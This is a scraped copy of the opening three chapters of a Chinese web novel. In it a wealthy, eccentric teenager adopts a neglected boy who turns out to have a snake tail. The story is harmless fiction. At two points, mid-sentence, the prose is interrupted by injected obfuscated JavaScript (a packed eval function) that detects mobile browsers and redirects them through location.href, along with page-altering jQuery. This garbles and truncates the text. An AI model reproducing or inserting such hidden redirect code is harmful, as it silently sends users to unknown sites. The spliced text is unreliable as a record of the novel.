《老公是0我是1》 1. 第 1 章 蔺雨洲捡到水涟是在一个暴雨天。 他十七岁的年纪,不怎么安分守己,是个酷爱搞行为艺术的神经病。 暴雨天不爱在屋里杵着,也不爱在廊亭轩榭里头呆着赏雨——漫天暴雨不扇人耳光把人扇出毛病才怪。 他喜欢在雨里站着,任由狂风暴雨捶打,像捶鱼丸,淬炼身躯,洗净脑中污秽,重塑他的人生观,塞入新的哲学理念。 人生哲学千百种,他在暴雨里参悟,一转头,就看见一瘦的和豆芽菜般的小孩死死盯他,睁着双对于消瘦面颊堪称恐怖的大眼,像只刚到地球的幼年外星人。 对上视线的瞬间,蔺雨洲情不自禁睁大眼。 震颤从眼球传至整个脊骨,一刹那的惊异席卷全身,又被漫天暴雨压了回去。 风雨晦暗,如针般的雨丝折射无数光点,映出小孩寡淡的眼瞳,落地砸出千万雷鸣。 寂静过后,蔺雨洲一撩湿漉漉的刘海,露出张狂风暴雨捶打后不减风采的英俊面孔,吹了个口哨,姿态语气非常风骚:“小美人,找我有事?” 小美人眼睛眨也不眨:“神经病。” 蔺雨洲“嘿”了一声,寻思这小孩骂人,十分没素质,于是准备用他在暴雨中参悟的新哲学回敬:“你不也神经病?” 小孩不知道什么时候站暴雨里,不合身的小西装贴满身,像个小流浪汉。 站着还不到他腰,回话时竭力抬起那根摇摇欲坠的纤细脖子,声音却和砂纸磨过似的阴恻恻:“你为什么淋雨。” 蔺雨洲沉思片刻:“我在参悟人生。”他扭头瞧了瞧外星小美人这副尊容,好奇他为什么也要站雨里:“你呢,你又是干什么?” 小孩面无表情:“看你淋雨。” “噗……哈哈哈哈……你还挺有意思。”蔺雨洲终于在漫长无聊宴会时间里听到了笑话,这小神经病颇对他胃口,想必能做他的哲学小友。 “尊姓大名啊?”他朝小孩抬抬下巴。 小孩眼珠子阴沉观察他:“我为什么要告诉你。” 蔺雨洲眉梢轻抬:“那你站雨里观察我?” 他瞧小孩素净的脸,懒洋洋的:“靠我那么近不就是想和我结交吗?” 小孩眼睛瞪得更大,满脸怔愣,估摸着是没见过如此厚颜无耻之人,回过神转头就走,被蔺雨洲攥住了后衣领,生生提了起来。 蔺雨洲笑容灿烂:“交个朋友怎么样?我叫蔺雨洲。” 那小孩在他手里捣腾两下,脱不出去,嘶哑道:“放我下来。” “名字。” 挣扎二次出现,蔺雨洲手上力道不动如山,稳稳抓着小孩没放。 大概是意识到逃不掉,小孩沉闷的回答在暴雨里响起,声音被吞了大半。 蔺雨洲却奇异听见了回答。 水涟。 “还挺有缘分,名字里都带水。”蔺雨洲一琢磨,乐了,也没松手,拎着水涟就往主宅走。 “我告诉你名字了,放我下来。”水涟扑腾两下,见蔺雨洲还没松手,哑嗓要求。 “我也没答应你告诉我名字就放你下来啊。”蔺雨洲在暴雨里闲庭散步,慢悠悠往主宅走去。 水涟仿佛被漫天暴雨抽了响亮的大耳刮子,落网的鱼一般,扑腾得更厉害,然而钳住他后衣领的力道丝毫没变。 “神经病。”他又骂了句,被耳朵比狗尖的蔺雨洲抓到了。 “小神经病,咱俩半斤八两。”蔺雨洲漫不经心说。 今晚的蔺氏主宅正热闹,蔺大少爷十七岁生日,自然要办场生日宴。 蔺氏历经几代掌舵人的上百年经营,资本版图横跨多个领域,集团市值破万亿,是个极其庞大的商业帝国。如今的掌权人是蔺河生,蔺雨洲作为他的独子,可谓是众星捧月。 纵然今晚蔺河生只出场片刻就匆匆离开,也不妨碍宾客们同他的助理继续言笑晏晏觥筹交错。 “这谁家小孩?”蔺雨洲逮着水涟,望满宅子热热闹闹的人,像个下山拦路抢劫的土匪。 主宅里的热闹寂了一瞬。 水涟在他手掌心,是个可怜的人质,逃脱不了,于是只好用那双恐怖的大眼一个一个监视检阅过来。 被他和蔺雨洲盯上的人不约而同后退半步。 管家战战兢兢,小碎步挪到这一大一小邪恶行为艺术家身边,小心翼翼开口:“大少爷,这是蔺洋先生那位已故夫人留下的……” 蔺洋不知道是他隔了几层的叔叔,先后娶了三个老婆。已故的,想必就是他那位带着小拖油瓶进门的第三位婶婶。 蔺雨洲拎着小拖油瓶没撒手:“你怎么想?” 水涟倒腾累了,没回话,安安静静的。 蔺洋在人群里头,人声一浪传一浪,这才晓得发生什么事儿,擦着满头大汗挤到蔺雨洲面前,和这位嚣张跋扈大少爷点头哈腰道歉:“大少爷真是对不住,这孩子向来不怎么服管教,给您添乱了。” 他朝水涟伸出粗短的五指,眉眼满是暴躁的不快:“你怎么在这?!谁放你出来的?” 蔺雨洲拎着水涟往后一闪,瞟见蔺洋某个满脸心虚又幸灾乐祸的儿子,心念一转便晓得其中龌龊,听不出喜怒地笑了声。 蔺洋满头大汗,手捞空,尴尬卡在半空,两条腿有些哆嗦。 “不服管教……”蔺雨洲琢磨这四个字,随意问蔺洋,“可以啊,你还养吗?” 蔺洋发懵瞧他。 水涟不姓蔺,身上没流他的血,他养什么养?更别提亡妻的情分早在见过病重模样就消散干净了,留下的拖油瓶既不讨喜还爱闹事,是个十足的刺头。 甚至今晚还敢躲他们车里来蔺家主宅,得罪蔺雨洲! “问你话呢。”蔺大少爷一身水,顶不耐烦,往他小腿蹬了一脚,黑色裤腿上留下个深色鞋印。 蔺洋不怎么灵光的脑袋动了动,忽地听出大少爷言外之意,略显谄媚开口:“他要跟在您身边学习,那是他的福气。” “福气个屁,新时代搞这套。”蔺雨洲没留情面,低头看水涟,戏谑开口:“叫声爹听听。” 水涟没叫他爹,也没叫他爸,坚守原则,持之以恒,贯彻始终:“神经病。” 蔺雨洲没叫,蔺洋和管家先叫,大家伙挤眉弄眼面露惊慌,谁都不敢在大少爷面前放肆,这小孩一来就来了个大的。 “你这小神经病,还说别人。”蔺雨洲用恶心的宠溺语气对水涟说,眼底写着“谁叫你是我儿子真是拿你没办法”。 水涟挣扎数回,终于抓到他的漏洞,在他的五指山里翻腾两下,反身一扭,顶着纤细的脖子,吐了蔺雨洲一身。 蔺雨洲没在暴雨里头参悟透人生,但在水涟那没多少食物残渣的呕吐物里参透了新的哲学,比如不要随便拎看起来没怎么吃饱饭,身体不好的小孩后脖子。 再比如,终于能用超脱凡俗立地成佛的圣洁面庞说:“老子操你大爷。” 水涟被拎着全身反胃难受,很倔强地缩起身子,尽力离他遥远,显然不想和自己的呕吐物贴近。 他阴沉沉的眼珠子瞧蔺雨洲,用没有奶音,只有阴森的嗓子乖巧喊:“大爷。” 声调百转千回,十分缠绵悱恻,和蔺雨洲那不要脸皮的风骚嗓音竟有异曲同工之妙。 蔺雨洲在众人恐慌的目光里,转转眼珠,满怀荡漾笑意,不顾水涟挣扎,一把抱住了小孩,拥抱阴湿亲昵,带着暴雨的腥气和呕吐物的酸味。 他低下头在水涟耳边轻声细语,这火热新出炉的假父子当众演了一出父慈子孝。 “死小子,你完蛋了。”蔺雨洲温柔随和,咬牙切齿。 水涟沉默无声地瞪他,埋头一口咬在蔺雨洲的虎口上。 那乳牙没什么威力,都不见半点血。 蔺雨洲嘶都不带嘶一声,手和风扇似的用力甩了甩,把水涟那脑袋甩得上下摇晃脑浆齐匀,终于从这小傻逼的嘴里抽回手,没想到上头还扎个附赠品,一颗白嫩略尖的乳牙。 水涟的眼睛睁得更大了,下意识捂住嘴,但嘴巴里糊满血,活像经历一场凶杀案。 主宅四处安静如鸡,过了几秒,管家一声颤巍巍的“少爷啊”,成为骤然发出的轰鸣,噼里啪啦彻底炸开,人仰马翻。 “少爷叫人咬了!” 宴会也开不下去了,助理收拾残局送宾客,有头有脸的人家倒不觉得不快,看了出热闹,不错。 主宅安静下来,蔺洋擦了把汗就走了,把便宜儿子丢给十七岁,自己还在做人儿子的蔺雨洲手里。 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可见狗改不了吃屎,人吃一堑长不了一智是有道理的,水涟又一阵哆嗦,闭眼重重打了个喷嚏,喷了新爹一脸血沫子。 蔺雨洲:“……” 医生:“……噗嗤。” 上了年纪的老管家也跟着哆嗦,颤颤巍巍大喊一声,活像蔺雨洲血光之灾到头,今晚人就撒手没:“少爷啊!” “别喊了,你少爷我还没死。”蔺雨洲下意识闭眼,倒没真让血沫子喷进眼。他抬手擦了把脸,让神经衰弱的老管家回去休息。 老管家一步三回头走了。 水涟一张小脸煞白又艳红,像贴了几层红纸的纸扎人,格外阴森喜庆。 医生把笑憋回去,对蔺雨洲说:“大少爷,这小孩怕是淋雨有些发烧了。” 蔺雨洲沉默半晌,嘲笑似的:“体质还挺弱。” 他一巴掌擦在水涟肩头,血沫子擦干净了,豪迈说:“学学你爹。” 话音刚落,他紧跟着就打了个哆嗦,也猛地打了个喷嚏。 水涟:“……” 一大一小俩神经病暴雨天发疯站雨里,还以为自己是海燕,最后喜提高烧,被佣人换了衣服洗刷干净,齐齐躺床上挂水。 蔺雨洲因为只烧到三十八度,肆意嘲笑烧到四十度的水涟,险些回血,被医生呵斥了一句,才安分躺着,听见一旁烧到人事不知的水涟发出哼哼:“妈妈……” 这声小兽似的哼鸣不知道又在哪儿戳中蔺少爷为数不多的良心,拿风骚的嗓音换出点柔情:“乖孩子,爸爸在呢。” 水涟喊的妈,没喊他这便宜爹,自然不肯,又哼哼两声“妈妈”,气若游丝,听着就可怜。 蔺雨洲一时间觉得母亲也做得,不要脸地凑到小孩身边,从善如流改了身份:“好孩子,妈妈在呢。” 水涟大抵是被这不要脸的混账东西气晕,呼出几口热气,闭口不言了。 蔺雨洲遗憾地缩回沉重脑袋,眼前发晕瞧天花板。 过了一会儿,他把睡不着的老管家叫了过来。 蔺雨洲扭头上下扫视一旁躺着挂水的水涟,沉吟片刻:“叫人去蔺洋那儿,把他生母的东西都搬来,身份……” 他顿了顿,老管家在蔺家干了几十年,熟知他个性,立马知晓他自己认不了这便宜儿子,就准备给他亲爹认下。 只是不好明面劝,便梗着脖子,像尊呆板老旧的石人,用干涩沙哑的嗓音先开口道:“我叫人处理好,大少爷养病要紧。” 蔺雨洲清楚他的小心思,嗤笑一声,瞥见老管家下意识把起褶的脖颈弯得更过,摆摆手,也懒得继续吓唬老人家。 老管家不怕蔺老先生,不怕蔺先生,唯独怕蔺小先生。他战战兢兢,脚步却稳妥如幽魂般,飘出了房间。 水涟呼出一口又一口的热气,带着丝丝缕缕年幼的神魂,直烧得四肢百骸全无知觉,蔺雨洲探探他的呼吸,灼热的温度几乎烫伤了他的指尖。 窗外依旧暴雨倾盆,雨珠坠落地面,成为深夜降临的序幕。蔺雨洲在这磅礴的序曲里,蓦地回忆起脊骨眼瞳莫名的战栗。 他收回停留水涟鼻端的指尖,幽深黑沉的眼眸静静注视那张疲累苍白的脸。 良久后,他才给出喃喃:“可别死了。” 2. 第 2 章 水涟身体算不得好。 他在生母身边没过过好日子,在蔺洋这个便宜后爹手下更不用说。 一个先后娶了三任太太,手里有点闲钱,还爱在外头养女人的老货,家里头孩子遍地跑,自己的种都顾不上,更别提水涟这个外姓人。 吃不饱穿不暖,还要时时刻刻面对其他孩子最糟烂的恶意。 这场高烧来得凶险,一晚上蔺家老宅的人都没睡个安生觉,净顾着伺候这小混账。 蔺雨洲毕竟是个年仅十七,还常年淋雨参悟人生的半大少年,体格硬朗,挂完水没多久就退烧了,除了身体还有点发软,说话带鼻音外,几乎和健康人无异。 这一晚上他也没怎么睡,靠在床头,见佣人医生上上下下忙活。水涟躺在他身边,一张脸煞白,蜷缩成一团,手里固执抓着被子角。 蔺雨洲瞧着烦。 他抠了抠水涟死攥着不放的手,企图把那点被蹂/躏的被角扯出来,岂料这天赋异禀的小神经病在病中也是力大如牛,根本扯不动,还隐隐有情绪失控的意思。 医生在一旁格外无奈开口:“大少爷,您要是真想养活他,算我求您,别去折腾人家好吗?这小孩摆明着怕您。” 年纪小,却在恶意遍地的环境里长大,对四周强大而危险的气息有本能反应,是无意识训练的结果。 水涟在没有安全感的环境,是该怕蔺雨洲这个疯子一样的家伙。 蔺雨洲嗤笑一声,预备劳动他这尊驾,抬腿慢悠悠晃出房间。 死攥着的手松了松,柔软的布料也从掌心滑落。手指弹动两下,最后勾住了蔺雨洲的睡衣下摆。 蔺雨洲没动,低头看见那只孱弱的手勾住他,单薄的身躯却局促不安地缩成一团,倒像是克服恐慌,鼓足勇气的举措。 水涟还在发高烧,烧糊涂了也没混乱呓语。意识不清晰,没有讨好的意思,而是本能。 嚣张跋扈的蔺大少爷重新坐回床上,眼睛一眨不眨,古怪地打量水涟,半晌从鼻腔里发出一声笑,辨不出喜怒。 医生没言语,安安静静坐在房间另一角沙发上,身形几乎不可见。 他静静等到点滴快落干净,上前替水涟拔针,然而一靠近床边,便被什么东西戳了戳。 那玩意儿一跳一跳戳他腿,无规律没节奏,简直就是无意识的行为。他当小孩睡觉不老实踢被子,下意识低头看了眼。 这一眼叫他神魂俱散,瞪着眼短促叫了声,拼了命往后退,身体一软倒在地上。 蔺雨洲困得迷迷糊糊,靠床头有一搭没一搭补眠,被这动静惊醒,低声暴躁道:“闹什么。” 医生指着床边,结结巴巴:“少、少爷,尾巴!!” “什么尾巴?”蔺雨洲皱眉,顺着他手指方向,探身瞧了眼,这一眼叫他呆愣在原地。 水涟还在攥他衣角,睡得不安稳。 他缓缓掀开被子,一条带鳞片的尾巴不太安分在床铺上乱扫,东戳西戳,和水涟上半身的安分睡姿形成鲜明对比。 蔺雨洲抓抓头发,和医生对视,又低头看这条尾巴。 “我说这小混蛋怎么老踢人,原来不是腿。”他琢磨半天,只憋出来这一句。抬头又见医生惊恐的神情,他半眯着眼,冷声:“嘴巴老实点。” 医生忙不迭拼命点头,就差引天雷起誓。蔺雨洲收回视线,问他:“你觉得这是什么东西的尾巴?” 他问话总是别扭,医生竟也习惯了,忍着恐惧,慢腾腾上前,借着灯光观察,最后小心翼翼道:“是不是蛇?” 蔺雨洲捏起那根乱晃的尾巴,自个儿认真观察几番。那尾尖大抵是不耐烦,暴躁地在他手中乱跳抽打。 “还挺有劲儿。”他嘀咕,暗戳戳拿手指勾那尾巴尖,“真是蛇。” 医生从原先的恐慌变成难以言喻,眨眨眼睛,盯蔺雨洲那臭流氓一样的举动。 “有没有毒啊?”蔺雨洲摸着摸着又想到这小子咬了自己一口,低头看了眼自己的身体。医生闭上眼片刻,又睁开,干巴巴道:“少爷,您没破皮。” “也是。”蔺雨洲摸摸下巴,水涟那乳牙瞧着尖,没半点力气,皮都没破还中毒。 “那您,准备怎么办?”医生和老管家一样,也是“御用”家庭医生了,只不过年纪尚轻,还没到颤颤巍巍的年龄。 蔺雨洲觉得他莫名其妙:“什么怎么办,养着呗。” 说完他又乐了乐:“我还能体验一回许仙的故事。黑蛇传吗?” 医生咽了口唾沫:“……少爷,您不觉得,有点危险吗?” “有什么好危险的。”蔺雨洲根本不觉得这事儿需要多加考虑,水涟到他手里那就归他养。 蔺大少爷从小到大养什么死什么,好不容易来个活命劲儿强的,当然得好好养。 “又是人又是蛇的,瞧着不容易死,挺好。”蔺雨洲满意地看水涟,眼底甚至泛出来些许慈爱。 这神经病时不时抽风,医生已经习惯了,闻言也不多话,又听蔺雨洲絮絮叨叨:“大千世界无奇不有,没什么好惊奇。” 医生把绝望的惊恐压回去:少爷,那是蛇妖啊! 水涟还在睡,烧退了后,脸上的担忧减淡不少。黑色蛇尾依旧在怒抽蔺雨洲的手,直抽的大少爷虎口红痕交错,足可见对蔺雨洲十分不爽。 “嘿,这么愤怒,还抓我衣角。”蔺雨洲往上看看,往下看看,觉得小孩不好相处这话简直是至理箴言,他都没那么难搞。 医生叹了口气:“少爷,让他好好睡吧。” 这糟心混账。 蔺雨洲躺回水涟身侧,被子盖了没一分钟,又像发现什么惊奇东西,爬起来掀被子,盯着水涟变化的尾巴观察。 一双腿变尾巴,生得倒漂亮,鳞片漆黑闪光,十分有力,只是和水涟豆芽菜似的身形相配,蛇尾并不显粗壮,细伶伶一条。 他又看了两眼才躺回去。没过几分钟继续观察,重复动作起码三次,直到水涟忽冷忽热开始哼哼,才遗憾地躺回去,闭眼睛睡觉。 — 水涟这一觉睡得不算好。 他总觉得自己被什么玩意儿盯上,有个疯子净掀他被子,忽冷忽热忽冷忽热,一会儿又是直接被人倒提尾巴起来,丢进了铁笼。 天光大亮。他猛地惊醒,拖着发软的身体用力掀开被子,没有尾巴,一双腿。 “哟,睡美人醒了。”蔺雨洲躺他另一边,侧身支着脸瞧水涟,随意丢开手机,没半点高中生样,不太正经开口,“看什么,尾巴吗?” 水涟一惊,砂纸磨过似的嗓音还带着病气,哑声问:“什么尾巴?” 他脸上的迷惑不做假,听见蔺雨洲的话,还以为是这神经病大早上又发癫。 蔺雨洲原本还在盯着他似笑非笑,盯着盯着觉出点不对,缓缓收敛笑容,轻抬眉梢问他:“你不知道?” 水涟更觉莫名其妙,用力咳嗽几声后,微微喘气儿问蔺雨洲:“什么知道?” 他尚且八岁还淋过雨的脑袋实在没法想通这个问题,只是睁双恐怖大眼盯蔺雨洲,大白天直接开了双闪。 蔺雨洲忽地凑到他面前,细细观察一番。 “原来你眼珠子是暗紫色的,怪不得。” 昨天下暴雨,他和水涟在雨中相遇,天色昏暗视野不清,压根没看清水涟瞳色,后面又是人仰马翻格外闹腾,他没机会细看。 现下天光大亮,太阳直挺挺挂在天上,日光挤进窗户,把水涟那双刻意睁大的双眼照得亮堂堂。 一双暗紫色的眼瞳,光线过强时,还缩小成细细一针。 水涟坐在原地没动,死人都没他僵硬。蔺雨洲猝不及防把脸强势挤进他的视野,他又想打喷嚏了。 蔺雨洲猛地缩回去,在水涟那个喷嚏爆发前,抽纸掐住了小孩鼻子。 重重一声闷哼,连带鼻子都空了。 水涟:“……” 他抬手捂住被捏痛的鼻子,疼得差点在床上翻滚。蔺雨洲这混蛋自己都要人伺候,别提照顾小孩。 金贵的大少爷丝毫不觉得自己生疏的举动用了大力气,两根手指捏住脏纸巾,得意洋洋,笑得只想让人拿拖鞋抽他:“我可不是吃一堑不长一智的傻子。” 水涟重重拍了拍床,企图发泄心中不满,可拍完,他才反应过来自己的手没动。 那他在用身体的什么部位拍床? “所以,我不是和你说了吗,你有尾巴。”蔺雨洲指指他的下半身,顶着头欠揍的炸毛,下巴轻抬。 水涟顺着他的手往下看,他方才还能看见的腿不知道去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274039|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿了,被一条黑色的尾巴彻底取代,此刻正在床上和雨刮器似的来回乱扫,把床单扫出大片褶皱。 外星人般的大眼睁得更大了,空白和惊慌猝然在脑中炸开。 水涟盯着那条尾巴怔住足足数分钟,才猛地扭头死死瞪蔺雨洲,像头毫无安全感的小兽,龇牙咧嘴凶狠质问:“是不是你做的?” 他知道有些恶心的人会做人体改造实验,蔺雨洲长得就不像好人,说不定他的腿也是因为蔺雨洲才变成这样。 水涟越想越胆战心惊,可他没有表露出半分惧怕。他有自己的处事方法,被欺负羞辱,倘若给予回应,表现一分恐慌,将会迎来更猛烈的折磨。 恶意落在人身上,要听见响才叫有滋有味,什么都听不见,只会叫人意兴阑珊。 水涟不受待见,于是活成安静的幽魂。 “……哈。”蔺雨洲扯扯嘴角,憋了半天,没忍住,冒出一声笑。笑完,他道:“身上就那二两肉,我有病拿你做实验,亏不亏本。” 水涟乱糟过长的头发四处乱翘,他挺直上半身:“你有病。” 蔺雨洲抓抓头发,愣是给他做出放荡不羁的发型。水涟阴森的视线落在他身上,隐隐约约感觉他在忍耐。 “叫声爸爸。”蔺雨洲冷不丁说。 水涟不知道他执着让自己喊爹是什么毛病,挪动尾巴费劲巴拉往床沿边跑,寄希望于西王母从天而降,给他和蔺雨洲之间画条马里亚纳海沟,他在上面,蔺雨洲在底下,相隔千万里。 “不叫算了,那我也没必要散发慈爱。”蔺雨洲嘀嘀咕咕,企图从水涟口中听见一声爹,这样能激发他少得可怜的慈父之情。 既然水涟不领情,他也没必要给。 他在小孩警惕的眼神里,冷笑两声,一字一句道:“你个傻逼孩子。” 水涟词汇库比较匮乏,讲话也不见得多通顺,脏话倒是记得一清二楚。 不受待见,要活成幽魂,别给反馈。 年幼的心灵吸吸鼻子,小声提醒,年幼的身躯怒火中烧,忽视了提醒。 水涟勃然大怒,顶着退烧后的虚弱身体和行动不便的尾巴,硬生生借着床垫往上往前一蹦,给蔺雨洲脖子来了一爪子。 没留指甲,就五道小红痕。 蔺雨洲倒吸一口冷气,手一抓一甩,枕头飞了出去,命中水涟。 水涟并不知道自己对上蔺雨洲哪来那么大气性,但他就是非常火大,被击趴后,立马抓了另一个枕头,举起细伶伶的胳膊,使劲儿一甩,砸在蔺雨洲脸上。 蔺雨洲猛地往前扑,决定和水涟近身格斗。 水涟一慌,脑袋朝下,从床上团成球滚下去,蔺雨洲别说格斗,生怕他摔死,匆匆伸手捞,没想到捞空了。 那条尾巴生在水涟身上,分明是连水涟自己都不知道的存在,行动起来却毫不生涩,挪动片刻,就支起水涟的身体,供他向前移动。 他回头看了眼,蔺雨洲脸上写满惊讶二字,旋即反应过来,从床上跳下来追他。 水涟慌不择路,拼命往前跑,一时间竟和游鱼一样飞腾出去。 房间里一路噼里啪啦,活像在踩地雷,炸个齐天飞。 老管家觉少,一大早就醒了,心里担忧大少爷领回来的孩子会对大少爷不利,听见此等大闹天宫般的动静,担忧占上风,怕大少爷也没法了,当即打开蔺雨洲卧室的门。 他戴好老花眼镜,见到了鸡飞蛋打的卧室。 蔺雨洲伸长手臂,手里拎着水涟的后衣领。他这次学聪明,没离太近,尽力和水涟拉开距离。 水涟豆芽菜一根,短手短尾巴,拼命挠也挠不到腿长手长的蔺雨洲,想咬人,昨晚乳牙掉了的场景历历在目,只好咬牙切齿威胁:“我要杀了你。” 蔺雨洲空着的手朝他勾勾,嚣张跋扈:“你先碰到我再说。” 水涟拼命挠。 蔺雨洲放肆笑。 老管家在门边,叫水涟垂落乱甩的尾巴吓一跳。 他哭天抢地喊了声“少爷啊”,直愣愣往后倒。 水涟和蔺雨洲齐齐回头,见到晕倒的老管家,各自抿抿唇。 蔺雨洲松开水涟,若无其事道:“我去叫医生。” 水涟默默扯过毯子,包住了自己的尾巴,没吭声。 3. 第 3 章 老管家睁开眼,两张脸挤在他朦胧狭窄的视野内,一张大眼外星人,一张嚣张大纨绔。 他惊了一惊,差点没撅过去。 “诶,不准晕。”嚣张大纨绔张开嘴,满是威胁的声音强硬撑开老管家的眼皮,逼老管家睁着一双凄苦的眼。 “少爷,那是个怪物啊!” 老管家情真意切老泪纵横,劝蔺大少爷迷途知返,不要引狼入室惹祸上身。 四字成语一个一个往外冒,听得水涟这个小文盲一愣一愣。 “哪有怪物?”蔺雨洲皱起眉。他生了张英俊桀骜的面孔,眉眼间尚余少年人的青涩,可已然有蔺家人的威严,一皱眉,便叫老管家咽回所有唠叨,不吭声了。 他看向水涟:“水涟,把你的腿给他看看。” 水涟个儿就那么高,站床边,躺着的老管家看不到。他想了一会儿,先是抬抬腿,发觉不大合适,便沉默爬上床,站在老管家身边,给他看一双筷子腿。 那尾巴在老管家昏迷没多久就变回去,估摸着是被吓到了。 老管家瞪大眼,不明白方才见得好好的,他还特意擦干净老花眼镜多看几眼,黑咕隆咚,扭来扭去,怎么会是一双腿? “上了年纪,眼睛看花总归是常有的事,这么紧张做什么。”蔺雨洲站床边,下了判语“净爱自己吓自己。” 他那张嘴直接颠倒黑白,老管家疑心自己当真是老眼昏花,倒在床上唉声叹气:“叫少爷忧心了。” 蔺雨洲讲话难听得要命:“我怕你死我房间。今天就躺着吧,别忙活了。” 老管家忧心忡忡,扭头看,大少爷已经逮着水涟后衣领,出了他房间。 “吓唬老人家,过分。”蔺雨洲晃晃水涟,痛心疾首斥责。 水涟斜睨他:“你咒他死。” “这样说一句就会死,他比你还脆弱。”蔺雨洲从小就没有养成尊老爱幼的好习惯,是远近闻名的蔺家大魔王,狗见到他都得躲远点。 水涟的文盲脑袋挨骂的时候很灵光,清楚蔺雨洲在骂他,但嘴巴还没张,肚子先叫。 “咕噜——” 饥饿的声音格外响亮,水涟在讨厌的人眼前丢面,闹了个红脸,听见蔺雨洲的嘎嘎怪笑,又是怒火中烧。 年纪小还体弱就这点不好,打架不占好处,出拳软绵绵,咬人还要担心乳牙掉干净。 蔺雨洲见水涟又要和喷火龙似的跳起来挠人,赶紧比了个终止。 “带你去吃饭,顺带聊聊你的尾巴。” 水涟的动作僵在原地,警惕地和他拉开距离:“我也不知道尾巴从哪儿来的。” 蔺雨洲吩咐厨房上早餐,闻言低头看他:“你自己的身体你都不知道?你妈是蛇吗?” 水涟的五官怪异地挤了挤,这让他的神情显出不符合年龄的沉重,但很快被某种不知名的力量强行磨平,化作无动于衷:“她从来没有说过。” 那条能转换的蛇尾是他并不清楚的全新领域,怎么变出来,怎么收回去,是能变全身,还是变半身?他全都不知道。 他甚至连自己的种族都不清楚。 蔺雨洲一巴掌盖帽一样盖他脑袋上:“不知道别想了,我也没指望你想起来。” 水涟的人生尚且短暂,但他也有一张仇恨排行榜。在今天他决定把蔺雨洲放在首位。 到餐厅之后,蔺雨洲早起和水涟干架后消散的慈父心肠又冒出头,把水涟拎到座椅上,还准备喂饭。 “啊——”他从碗中央挖了勺冒热气的粥递到水涟嘴边。 那粥带鱼骨熬了近四小时,下鲜鱼片汆烫后出锅。奶白的米浆浸润丰腴鱼肉,香气都带着一股鲜味。 水涟胃里空空,那勺粥送到嘴边,下意识咽了口唾沫,鬼使神差对着蔺雨洲张开嘴。那勺粥味道的确好,他没吃过那么好的东西,皱巴脸含住不咽。 只不过还是没忍住,被烫到哇一声全吐了出来。 蔺雨洲那句得意的“好吃吧”还没说完,又被吐了一手。 水涟目前打架不行,恶心人的招数有一套,竟也能和蔺雨洲这个十七岁的少年打个有来有往。 蔺雨洲很想把手直接抹水涟脸上。 水涟抬眼瞧他面无表情的脸,张开嘴给口腔降温,含含糊糊说:“太烫了。” 他悄悄转大眼珠子,瞥见蔺雨洲的手。 下一刻,水涟像是预料到什么,如同离弦之箭一般从椅子上跳了下去,拼了命一样在餐厅狂奔。 蔺雨洲和他同步起身,跟在他身后,举着那只脏兮兮的手,咬牙切齿威胁:“水涟你完蛋了!” 水涟才不理会他的威胁,连滚带爬乱窜,窜到后面奔跑的双腿又变成尾巴,索性直接在地面上游了。 蔺雨洲单手撑桌翻身而过,步子迈得越来越大,最后一巴掌重重按在水涟后背,手掌顺势下滑,在布料上拉出一长条湿漉漉的痕迹。 水涟绝望倒地,抻成一长条,又饿又累,动弹不得。 蔺雨洲山大王一样站他旁边:“你吐我身上两回了,能不能干点好的?” 水涟翻个身,瞳孔缩成细细一针,两边唇角沿颊侧裂开,最后竟同蛇般张开血盆小口,不算长的尖牙冒出头,从喉咙里吐出愤怒的气声。 蔺雨洲朝他吹了个婉转骚包的口哨,半蹲下掐住他半张脸,似笑非笑:“还真是小蛇。牙都没长齐,冲我哈气。” 他抬手一拍水涟下颌,愣是把那张嘴合上:“吃饭。” 水涟愤愤不平,恨不得毒死他,最后也只是低头看自己的尾巴,怀揣怒火,不断暗示自己,拼尽全力把腿变了回来。 他俩那么一闹,满桌早餐都仅余温热,烫到水涟的粥也到刚好入口的程度。 水涟坐在餐桌前,抓着勺子。 口腔被烫后隐隐作痛,但他已经饿到无暇顾及,捧着碗狼吞虎咽。只剩个碗底儿,他默默抬起头。 蔺雨洲这人疯疯癫癫不守规矩,吃饭的仪态却透着股沉稳,碗筷不发出声,嘴角不沾汤汁碎屑,细嚼慢咽,不见半分粗鲁。 水涟攥紧勺子,竟也生出几分尴尬。 热粥下肚,他停止思考的大脑供能成功,开始重新工作。 蔺雨洲对蔺洋说要养他,为什么?是因为他这条尾巴吗?他又有什么值得利用的? 美味的食物与温暖的居所是要付出代价的,水涟想不到自己有什么东西可供他和蔺雨洲做交易。 他年幼的脑袋塞满各种考量,最后只得到蔺雨洲懒洋洋的问话:“没吃饱?” 水涟纠结片刻,大概是想明白早死晚死都得死不如吃饱再死的朴素理由,缓缓点头。 蔺雨洲手一摊:“那饿着吧。” 水涟希望今天自己就能长到十七岁,把蔺雨洲按在地上打。 蔺雨洲垂眸看了眼他的肚子,吐出后半句人言:“吃太多小心撑死,我不想你再吐我身上。” 他摸不准水涟之前吃了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水涟全身绷紧,苍白消瘦的面颊轻轻抽动。他的眼底倒映出蔺雨洲的面孔,少年人仍旧在抽条当中,眼角眉梢尚余青涩,可打量他时,压迫感与邪性几乎满溢出来。 他从来没有面对过如此紧绷压抑的时刻,回话在嘴边转一圈,最后只化成了动作。 年幼却已然能窥见未来修长有力的手搭在蔺雨洲的手背上,一寸一寸将那只手从肩头用力推了下去。 “……我不要。”水涟一字一顿,沙哑得仿佛被砂纸磨砺过的声音森然,拒绝格外果决,“我不要。” 他看起来实在太脆弱了,虚弱的面颊,豆芽菜似的身材,仿佛娘胎里就没吸收过养分,长大更是没吃过一顿饱饭。 